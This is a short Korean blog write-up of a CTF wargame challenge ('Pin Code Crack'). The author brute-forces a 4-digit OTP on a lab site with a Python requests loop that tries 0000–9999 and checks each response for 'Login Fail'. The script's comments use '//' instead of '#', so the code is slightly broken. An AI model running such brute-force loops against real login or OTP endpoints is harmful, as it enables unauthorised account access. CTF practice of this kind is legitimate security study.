Wargame/Segfault
Authentication Bypass(Pin Code Crack)
sniffy-fanta
2025. 5. 7. 16:33
서론
오늘도 인증 우회 문제를 풀어보자
점점 어려워지는 거 같다..
🔓Pin Code Crack
➡️번호를 알아내야 하는 거 같다.
➡️사이트에 접속해서 로그인 버튼을 클릭하니 OTP처럼 숫자 4자리를 입력해야 하는 거 같다.
아무숫자 4자리를 입력해보니 틀렸다는 알림창이 뜬다.
➡️GET요청으로 checkOTP.php로 otpNum이 파라미터로 전달된다.
번호가 틀려서 Login Fail..이라는 알림창이 뜬 것을 확인할 수 있다.
버프 스위트의 intruder 기능을 사용하려고 했지만 오래걸리므로 나는 python으로 작성하겠다.
그러면 이제 0000~9999까지 otpNum을 파라미터로 요청하고 Login Fail이라는 내용이 응답에 없다면
번호가 맞다고 가정해서 작성해보도록하자.
import requests
//요청을 보낼 url
url= "http://ctf.segfaulthub.com:1129/6/checkOTP.php"
//쿠키에 세션ID 포함
cookies = {
"PHPSESSID" : "7b7htq80jl5t8ifbn8ql6eveo0"
}
//0000~9999대입
for i in range(0000,10000):
//i를 대입하되 0001,0002 이런식으로 형식에 맞춰 전달하기
otp = f"{i:04}"
params = {
"otpNum" : otp
}
//get요청에 대한 응답 받기
res = requests.get(url,params=params ,cookies=cookies)
//응답메세지에 Login Fail이 없다면 성공
if "Login Fail" not in res.text:
print(f"성공 : {otp}")
print(res.text)
break
else:
print(f"실패 : {otp}")
➡️실행 해보면?
➡️숫자가 하나씩 대입되고 성공이라는 글자와 함께 성공된 숫자가 나온다.
➡️플래그 획득!